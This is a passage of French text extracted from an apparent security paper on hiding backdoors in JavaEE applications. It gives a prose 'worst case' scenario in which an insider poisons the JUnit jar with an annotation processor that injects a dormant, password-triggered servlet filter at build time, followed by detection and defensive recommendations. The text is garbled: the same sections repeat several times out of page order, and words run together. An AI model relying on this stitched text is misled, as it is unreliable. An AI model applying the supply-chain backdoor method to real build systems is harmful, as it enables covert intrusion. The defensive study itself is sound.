Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados